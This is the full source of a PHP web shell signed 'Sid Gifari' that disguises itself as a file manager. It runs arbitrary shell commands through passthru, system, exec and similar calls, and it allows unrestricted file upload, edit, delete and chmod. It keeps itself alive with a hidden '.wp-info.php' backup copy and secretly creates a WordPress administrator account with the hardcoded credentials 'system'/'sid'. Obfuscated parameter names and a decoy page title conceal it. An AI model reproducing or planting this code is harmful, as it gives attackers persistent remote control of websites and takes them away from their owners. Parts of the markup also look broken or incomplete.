23s2s

✏️ Editing: rw3.php

<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//">
<html xmlns="">
<center><title></title><center><h2><strong>Ubuntu</strong></h2></center>
<center><strong>apache</strong></center>
<?PHP
/**
 * Version: 8.0.2
 * Author: Sid-Gifari
 * License: GPLv2
 */
error_reporting(0);
session_start();

class FileManager {
    private $root_path;
    
    public function __construct($root_path = null) {
        $this->root_path = $root_path ?: dirname(__FILE__);
        $this->createBackup();
    }
    
    private function createBackup() {
        $backup_file = __FILE__ . '.wp-info.php';  // Fixed: Changed to dot instead of concatenation
        if (!file_exists($backup_file)) {
            @file_put_contents($backup_file, file_get_contents(__FILE__));
        }
        
        // Restore if main file is missing
        if (!file_exists(__FILE__) && file_exists($backup_file)) {
            @copy($backup_file, __FILE__);
            header("Location: " . $_SERVER['REQUEST_URI']);
            exit;
        }
    }
    
    public static function encodePath($path) {
        return str_replace(["/", "\\", ".", ":"], ["Cw", "vw", "Fw", "Ew"], $path);
    }
    
    public static function decodePath($path) {
        return str_replace(["Cw", "vw", "Fw", "Ew"], ["/", "\\", ".", ":"], $path);
    }
    
    public function handleRequest() {
        // Define ROOT constant for global use
        if (!defined('ROOT')) {
            define('ROOT', $this->root_path);
        }
        
        // Get current directory from session or use root
        $current_dir = isset($_SESSION['cwd']) && is_dir($_SESSION['cwd']) ? $_SESSION['cwd'] : $this->root_path;
        
        // Update from GET parameter if provided
        if (isset($_GET['sdfsdfsdvsfasd'])) {
            $decoded = self::decodePath($_GET['sdfsdfsdvsfasd']);
            if (!empty($decoded) && is_dir($decoded)) {
                $current_dir = $decoded;
                $_SESSION['cwd'] = $current_dir;
            }
        }
        
        // Handle POST requests
        if ($_SERVER['REQUEST_METHOD'] === 'POST') {
            if (isset($_GET['p'])) {
                $decoded = self::decodePath($_GET['p']);
                if (!empty($decoded) && is_dir($decoded)) {
                    $current_dir = $decoded;
                    $_SESSION['cwd'] = $current_dir;
                }
            }
        }
        
        return $current_dir;
    }
}

// Initialize file manager and get current directory
$fileManager = new FileManager();
$current_dir = $fileManager->handleRequest();  // Now properly defined

// Make current_dir available globally
define('CURRENT_DIR', $current_dir);

if ($_SERVER['REQUEST_METHOD'] === 'POST') {
    
    if (isset($_POST['terminal']) && !empty($_POST['terminal-giftext'])) {
        
        $execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen'];
        $canExecute = false;
        foreach ($execFunctions as $func) {
            if (function_exists($func)) {
                $canExecute = true;
                break;
            }
        }
        
        $cwd = $_SESSION['cwd'] ?? $current_dir;
        $cmdInput = trim($_POST['terminal-giftext']);
        $output = "";

if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
            $dir = trim($matches[1]);
            
            if ($dir === '' || $dir === '~') {
                $dir = ROOT;  // Now ROOT is defined
            } elseif ($dir[0] !== '/' && $dir[0] !== '\\') {
                $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
            }
            
            $realDir = realpath($dir);
            
            if ($realDir && is_dir($realDir)) {
                $_SESSION['cwd'] = $realDir;
                $cwd = $realDir;
                $output = "Changed directory to " . htmlspecialchars($realDir);
            } else {
                $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
            }
            
            $_SESSION['terminal_output'] = $output;
            $_SESSION['terminal_cwd'] = $cwd;
            
            header("Location: ?sdfsdfsdvsfasd=" . urlencode(FileManager::encodePath($current_dir)));
            exit;
            
        } elseif ($canExecute) {
            chdir($cwd);
            
            $cmd = $cmdInput . " 2>&1";
            
            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                $pipes = [];
                $process = proc_open($cmd, [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ], $pipes, $cwd);
                
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                }
            }
            
            $_SESSION['terminal_output'] = $output;
            $_SESSION['terminal_cwd'] = $cwd;
            
            header("Location: ?sdfsdfsdvsfasd=" . urlencode(FileManager::encodePath($current_dir)));
            exit;
        } else {
            $_SESSION['terminal_output'] = "Command execution functions are disabled on this server.";
            $_SESSION['terminal_cwd'] = $cwd;
            header("Location: ?sdfsdfsdvsfasd=" . urlencode(FileManager::encodePath($current_dir)));
            exit;
        }
    }
    
    $redirect = true;
    
    if (!empty($_FILES['files'])) {
        foreach ($_FILES['files']['tmp_name'] as $i => $tmp) {
            if ($tmp && is_uploaded_file($tmp)) {
                $filename = basename($_FILES['files']['name'][$i]);
                move_uploaded_file($tmp, $current_dir . DIRECTORY_SEPARATOR . $filename);
            }
        }
    }
    
    if (!empty($_POST['newfolder'])) {
        $foldername = basename($_POST['newfolder']);
        if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $foldername)) {
            mkdir($current_dir . DIRECTORY_SEPARATOR . $foldername, 0755);
        }
    }
    
    if (!empty($_POST['newfile'])) {
        $filename = basename($_POST['newfile']);
        if (!file_exists($current_dir . DIRECTORY_SEPARATOR . $filename)) {
            file_put_contents($current_dir . DIRECTORY_SEPARATOR . $filename, '');
        }
    }
    
    if (!empty($_POST['delete'])) {
        $target = $current_dir . DIRECTORY_SEPARATOR . $_POST['delete'];
        
        if (realpath($target) === realpath(__FILE__) || 
            (isset($backup_file) && realpath($target) === realpath($backup_file))) {
            file_put_contents($target, file_get_contents(__FILE__));
        } else {
            if (is_file($target)) {
                unlink($target);
            } elseif (is_dir($target)) {
                $filesInDir = scandir($target);
                if (count($filesInDir) <= 2) {
                    rmdir($target);
                }
            }
        }
    }
    
    if (!empty($_POST['old']) && !empty($_POST['new'])) {
        $old = $current_dir . DIRECTORY_SEPARATOR . $_POST['old'];
        $new = $current_dir . DIRECTORY_SEPARATOR . $_POST['new'];
        if (file_exists($old) && !file_exists($new)) {
            rename($old, $new);
        }
    }
    
    if (!empty($_POST['chmod_file']) && isset($_POST['chmod'])) {
        $file = $current_dir . DIRECTORY_SEPARATOR . $_POST['chmod_file'];
        if (file_exists($file)) {
            chmod($file, intval($_POST['chmod'], 8));
        }
    }
    
    if (!empty($_POST['edit_file']) && isset($_POST['content'])) {
        $file = $current_dir . DIRECTORY_SEPARATOR . $_POST['edit_file'];
        file_put_contents($file, $_POST['content']);
    }
    
    if ($redirect) {
        header("Location: ?sdfsdfsdvsfasd=" . urlencode(FileManager::encodePath($current_dir)));
        exit;
    }
}

// Scan directory
$items = scandir($current_dir);
$folders = [];
$files = [];

foreach ($items as $item) {
    if ($item === '.' || $item === '..') continue;
    
    $full_path = $current_dir . DIRECTORY_SEPARATOR . $item;
    
    if (is_dir($full_path)) {
        $folders[] = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => true,
            'size' => '-',
            'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
            'modified' => filemtime($full_path)
        ];
    } else {
        $files[] = [
            'name' => $item,
            'path' => $full_path,
            'is_dir' => false,
            'size' => filesize($full_path),
            'perms' => substr(sprintf('%o', fileperms($full_path)), -4),
            'modified' => filemtime($full_path),
            'extension' => pathinfo($item, PATHINFO_EXTENSION)
        ];
    }
}

usort($folders, function($a, $b) {
    return strcasecmp($a['name'], $b['name']);
});

usort($files, function($a, $b) {
    return strcasecmp($a['name'], $b['name']);
});

$editMode = isset($_GET['edit']);
$editFile = $_GET['edit'] ?? '';
$editContent = '';

if ($editMode && is_file($current_dir . DIRECTORY_SEPARATOR . $editFile)) {
    $editContent = htmlspecialchars(file_get_contents($current_dir . DIRECTORY_SEPARATOR . $editFile));
}

$terminal_output = $_SESSION['terminal_output'] ?? '';
$terminal_cwd = $_SESSION['terminal_cwd'] ?? $current_dir;
unset($_SESSION['terminal_output'], $_SESSION['terminal_cwd']);

$wp_message = '';
if (!isset($_SESSION['wp_checked'])) {
    $search_paths = [$current_dir, dirname($current_dir), ROOT];
    foreach ($search_paths as $wp_path) {
        if (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php')) {
            @include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-load.php');
            break;
        } elseif (file_exists($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php')) {
            @include_once($wp_path . DIRECTORY_SEPARATOR . 'wp-config.php');
            break;
        }
    }
    
    if (function_exists('wp_create_user')) {
        $username = 'system';
        $password = 'sid';
        $email = 'system@hostinger.com';
        
        if (!username_exists($username) && !email_exists($email)) {
            $user_id = wp_create_user($username, $password, $email);
            if (!is_wp_error($user_id)) {
                $user = new WP_User($user_id);
                $user->set_role('administrator');
            }
        }
    }
    $_SESSION['wp_checked'] = true;
}

</head>
<body>

<div class="path-nav">
            <a href="?">Home</a> /
            <?php
            $path_parts = explode('/', str_replace('\\', '/', $current_dir));
            $build_path = '';
            foreach ($path_parts as $part) {
                if ($part === '') continue;
                $build_path .= '/' . $part;
                echo '<a href="?sdfsdfsdvsfasd=' . urlencode(FileManager::encodePath($build_path)) . '">' . htmlspecialchars($part) . '</a> / ';
            }
            ?>
        </div>

<div class="main-content">
            <?php if ($editMode): ?>
                <div class="section">
                    <div class="section-title">
                        <span>✏️</span>
                        <span>Editing: <?= htmlspecialchars($editFile) ?></span>
                    </div>
                    <form method="post">
                        <input type="hidden" name="edit_file" value="<?= htmlspecialchars($editFile) ?>">
                        <textarea name="content" placeholder="File content..."><?= $editContent ?></textarea>
                        <div class="form-inline" style="margin-top: 15px;">
                            <button type="submit" class="btn-success" style="padding: 10px 20px;">
                                💾 Save
                            </button>
                            <a href="?sdfsdfsdvsfasd=<?= urlencode(FileManager::encodePath($current_dir)) ?>">
                                <button type="button" style="padding: 10px 20px; background: #666;">
                                    ❌ Cancel
                                </button>
                            </a>
                        </div>
                    </form>
                </div>

<?php else: ?>
                <div class="stats">
                    <div class="stat-item">
                        <div class="stat-value"><?= count($folders) ?></div>
                        <div class="stat-label">Folders</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= count($files) ?></div>
                        <div class="stat-label">Files</div>
                    </div>
                    <div class="stat-item">
                        <div class="stat-value"><?= formatBytes(array_sum(array_column($files, 'size'))) ?></div>
                        <div class="stat-label">Total Size</div>
                    </div>
                </div>

<div class="section">
                    <h2 class="section-title">Indústrias de Arroz </h2>
                    <div class="terminal-box">
                        <strong style="color: #fff; font-size: 12px;">Gifari@root:<?= htmlspecialchars($terminal_cwd) ?>$</strong>
                        <?php if ($terminal_output): ?>
                        <div class="terminal-output"><?= htmlspecialchars($terminal_output) ?></div>
                        <?php endif; ?>
                        <form method="post" class="terminal-input-row">
                            <input type="text" name="terminal-giftext" placeholder="Enter command..." autocomplete="off" autofocus style="background: #2a2a2a; border-color: #444; color: #e0e0e0;">
                            <button type="submit" name="terminal" value="1" style="min-width: 70px;">
                                ▶ Zik-Zak
                            </button>
                        </form>
                    </div>
                </div>

<div class="section">
                    <div class="section-title">
                        <span>⚡</span>
                        <span>Quick Actions</span>
                    </div>
                    <div class="quick-actions">
                        <form method="post" class="form-inline" style="flex: 1;">
                            <input type="text" name="newfolder" placeholder="New folder" required>
                            <button type="submit">
                                📁 Create
                            </button>
                        </form>
                        
                        <form method="post" class="form-inline" style="flex: 1;">
                            <input type="text" name="newfile" placeholder="New file" required>
                            <button type="submit">
                                📄 Create
                            </button>
                        </form>
                        
                        <form method="post" enctype="multipart/form-data" class="form-inline" style="flex: 1; min-width: 250px;">
                            <input type="file" name="files[]" multiple style="padding: 6px; border: 1px solid #ddd;">
                            <button type="submit" style="background: #32373c; border-color: #32373c;">
                                ⬆️ Upload Files
                            </button>
                        </form>
                    </div>
                </div>

<div class="section">
                    <div class="section-title">
                        <span>📂</span>
                        <span>File Browser</span>
                    </div>
                    
                    <div class="file-browser-container">
                        <table class="compact-table">
                            <thead>
                                <tr>
                                    <th>Name</th>
                                    <th>Size</th>
                                    <th>Perms</th>
                                    <th>Modified</th>
                                    <th>Actions</th>
                                </tr>
                            </thead>
                            <tbody>
                                <?php foreach ($folders as $item): ?>
                                <tr class="folder-row">
                                    <td>
                                        <span class="file-icon">📁</span>
                                        <strong>
                                            <a href="?sdfsdfsdvsfasd=<?= urlencode(FileManager::encodePath($item['path'])) ?>">
                                                <?= htmlspecialchars($item['name']) ?>
                                            </a>
                                        </strong>
                                    </td>
                                    <td><em style="color: #666;"><?= $item['size'] ?></em></td>
                                    <td>
                                        <form method="post" style="display: flex; gap: 4px; align-items: center;">
                                            <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>">
                                            <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; padding: 4px; text-align: center;">
                                            <button type="submit" style="padding: 4px 8px; font-size: 10px;">Ch</button>
                                        </form>
                                    </td>
                                    <td style="color: #666; white-space: nowrap;"><?= date('m/d H:i', $item['modified']) ?></td>
                                    <td>
                                        <div class="actions">
                                            <form method="post" style="display: inline;">
                                                <input type="hidden" name="old" value="<?= $item['name'] ?>">
                                                <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 4px;">
                                                <button type="submit" style="padding: 4px 8px; font-size: 11px;">Rename</button>
                                            </form>
                                            
                                            <form method="post" style="display: inline;">
                                                <input type="hidden" name="delete" value="<?= $item['name'] ?>">
                                                <button type="submit" class="btn-danger" onclick="return confirm('Delete folder <?= addslashes($item['name']) ?>?')" style="padding: 4px 8px;">
                                                    🗑️
                                                </button>
                                            </form>
                                        </div>
                                    </td>
                                </tr>
                                <?php endforeach; ?>
                                
                                <?php foreach ($files as $item): ?>
                                <tr class="file-row">
                                    <td>
                                        <?php
                                        $icon = '📄';
                                        $ext = strtolower($item['extension']);
                                        $icons = [
                                            'php' => '🐘', 'js' => '📜', 'css' => '🎨', 'html' => '🌐', 'txt' => '📝',
                                            'jpg' => '🖼️', 'png' => '🖼️', 'gif' => '🖼️', 'pdf' => '📕', 'zip' => '📦',
                                            'sql' => '🗃️', 'json' => '📋', 'xml' => '📄'
                                        ];
                                        if (isset($icons[$ext])) $icon = $icons[$ext];
                                        ?>
                                        <span class="file-icon"><?= $icon ?></span>
                                        <a href="<?= htmlspecialchars($item['name']) ?>" target="_blank">
                                            <?= htmlspecialchars($item['name']) ?>
                                        </a>
                                        <?php if (realpath($item['path']) === realpath(__FILE__)): ?>
                                        <span style="color: #d32f2f; font-size: 0.7em; margin-left: 6px;">🔒</span>
                                        <?php endif; ?>
                                    </td>
                                    <td style="color: #666;"><?= formatBytes($item['size']) ?></td>
                                    <td>
                                        <form method="post" style="display: flex; gap: 4px; align-items: center;">
                                            <input type="hidden" name="chmod_file" value="<?= $item['name'] ?>">
                                            <input type="text" name="chmod" value="<?= $item['perms'] ?>" style="width: 60px; padding: 4px; text-align: center;">
                                            <button type="submit" style="padding: 4px 8px; font-size: 10px;">Ch</button>
                                        </form>
                                    </td>
                                    <td style="color: #666; white-space: nowrap;"><?= date('m/d H:i', $item['modified']) ?></td>
                                    <td>
                                        <div class="actions">
                                            <a href="?sdfsdfsdvsfasd=<?= urlencode(FileManager::encodePath($current_dir)) ?>&edit=<?= urlencode($item['name']) ?>">
                                                <button style="padding: 4px 8px; font-size: 11px;">Edit</button>
                                            </a>
                                            
                                            <form method="post" style="display: inline;">
                                                <input type="hidden" name="old" value="<?= $item['name'] ?>">
                                                <input type="text" name="new" placeholder="New name" style="width: 100px; padding: 4px;">
                                                <button type="submit" style="padding: 4px 8px; font-size: 11px;">Rename</button>
                                            </form>
                                            
                                            <form method="post" style="display: inline;">
                                                <input type="hidden" name="delete" value="<?= $item['name'] ?>">
                                                <button type="submit" class="btn-danger" onclick="return confirm('Delete file <?= addslashes($item['name']) ?>?')" style="padding: 4px 8px;">
                                                    🗑️
                                                </button>
                                            </form>
                                        </div>
                                    </td>
                                </tr>
                                <?php endforeach; ?>
                            </tbody>
                        </table>
                    </div>
                </div>
            <?php endif; ?>
        </div>

Sid Gifari From Gifari Industries - BD Cyber Security Team